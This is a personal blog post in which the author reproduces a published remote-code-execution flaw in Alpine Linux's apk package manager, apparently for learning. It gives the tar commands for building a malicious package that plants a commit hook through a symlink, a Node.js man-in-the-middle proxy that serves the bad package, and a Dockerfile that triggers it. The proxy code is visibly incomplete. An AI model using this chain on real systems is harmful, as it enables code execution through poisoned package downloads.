Matheus Bratfisch Cogito ergo sum

Testing RCE on Alpine Linux via APK

I have been studying a little bit of security and one of the things I’m doing from time to time is reading CVE and trying to test and understand what is happening. Yesterday Max Justicz published Remote Code Execution in Alpine Linux. He found an issues on apk which is the package manager for Alpine Linux which is super popular on docker images.

Max did a great job explaining the steps and the reasoning, but I wanted to try it myself.

- Create a folder at /etc/apk/commit_hooks.d/, which doesn’t exist by default. Extracted folders are not suffixed with .apk-new.

- Create a symlink to /etc/apk/commit_hooks.d/x named anything – say, link. This gets expanded to be called link.apk-new but still points to /etc/apk/commit_hooks.d/x.

- Create a regular file named link (which will also be expanded to link.apk-new). This will write through the symlink and create a file at /etc/apk/commit_hooks.d/x.

- When apk realizes that the package’s hash doesn’t match the signed index, it will first unlink link.apk-new – but /etc/apk/commit_hooks.d/x will persist! It will then fail to unlink /etc/apk/commit_hooks.d/ with ENOTEMPTY because the directory now contains our payload.

The instructions seem simple but if you are not super familiar with how a tar file works, you may not understand it. On a tar file you can have multiple versions/files with the same name and you can extract one of them using --occurrence option. With this in mind, the instructions make a little bit more sense, so shall we try to create this file?

First of all, let’s create the directories:

sudo mkdir /etc/apk/commit_hooks.d/
mkdir folder_for_link
mkdir folder_for_real_file

Create the link:

/etc/apk/commit_hooks.d/x folder_for_link/magic

Create the real file on folder_for_real_file/magic with this content:


echo "something" > /tmp/test-12346-YAY
echo "ha" > /testfileroot

(If it really works we should have a /tmp/test-123456-YAY file and one /testfileroot too)

Cool, now it seems we have almost everything we need! Let’s create the apk with:

tar -zcvf bad-intention.apk /etc/apk/commit_hooks.d/ -C $PWD/folder_for_link/ magic -C $PWD/folder_for_real_file/ magic

Here we are adding all this 3 things in sequence to the tar file, you can check tar content with t option:

$ tar tvf bad-intention.apk
drwxr-xr-x root/root         0 2018-09-13 19:44 etc/apk/commit_hooks.d/
lrwxrwxrwx root/root         0 2018-09-13 19:37 magic -> /etc/apk/commit_hooks.d/x
-rwxrwxrwx root/root 954 2018-09-13 23:24 magic

(Pay attention on the order of this files: create directory commit_hooks.d, creation of link and creation of file)

What should be the behavior now? Since apk on alpine runs from / it will create the folder /etc/apk/commit_hooks.k, later it will extract the link and to finish it will output the content of magic to the link which will be placed inside the X file. Note, I lost A LOT of time trying to see this behavior on tar it self, but it seems tar doesn’t have this behavior and apk implements it’s own extractor.

OK, now, we need to deliver this file when running the apk add inside docker. Here, I have updated /etc/hosts and pointed to localhost. Using libraries http-mitm-proxy http-proxy request on node I have created a script to deliver the bad .apk when downloading something which has ltrace on url otherwise it will download the file and send to the docker.

var http = require('http'),
    httpProxy = require('http-proxy'),
    request = require('request'),
    fileSystem = require('fs'),
    path = require('path');

var proxy = httpProxy.createProxyServer({});

var server = http.createServer(function(req, res) {
  console.log('' + req.url)
  if (req.url.indexOf('ltrace') > -1) {
    var filePath = path.join(__dirname, 'bad-intention.apk');
    var stat = fileSystem.statSync(filePath);
    var readStream = fileSystem.createReadStream(filePath);
  } else {
      proxy = request('' + req.url)
      proxy.on('response', function (a, b) {}).pipe(res);

console.log("listening on port 80")

Building my docker with docker build -t alpinetest --network=host --no-cache .

FROM alpine:3.8

# RUN apk add python
RUN apk add ltrace

CMD "/bin/sh"

(If you are curious you can take a look on the test of the docker image even if it failed to build and see your files are really inside the correct places. Use docker commit CONTAINER_ID and docker run -it SHA256_STRING sh.)

This returned “The command ‘/bin/sh -c apk add ltrace’ returned a non-zero code: 1”. This happened because apk verifies the signature or the apk and try to clean up the files, but it is not able to since /etc/apk/commit_hooks.k contains a file. How to do some magic to make the apk return exit code 0? Max has found one (or two) ways of doing this.

I still need to study what exactly the python script does to update the exit code but I have tested and it really works, as a quick test you can add RUN apk add python and update folder_for_real_file/magic to call his python code.

I know this may sound simple, but it took me a while to figure out all the tiny details. If you find any mistake I made, or want to say something, drop me a line!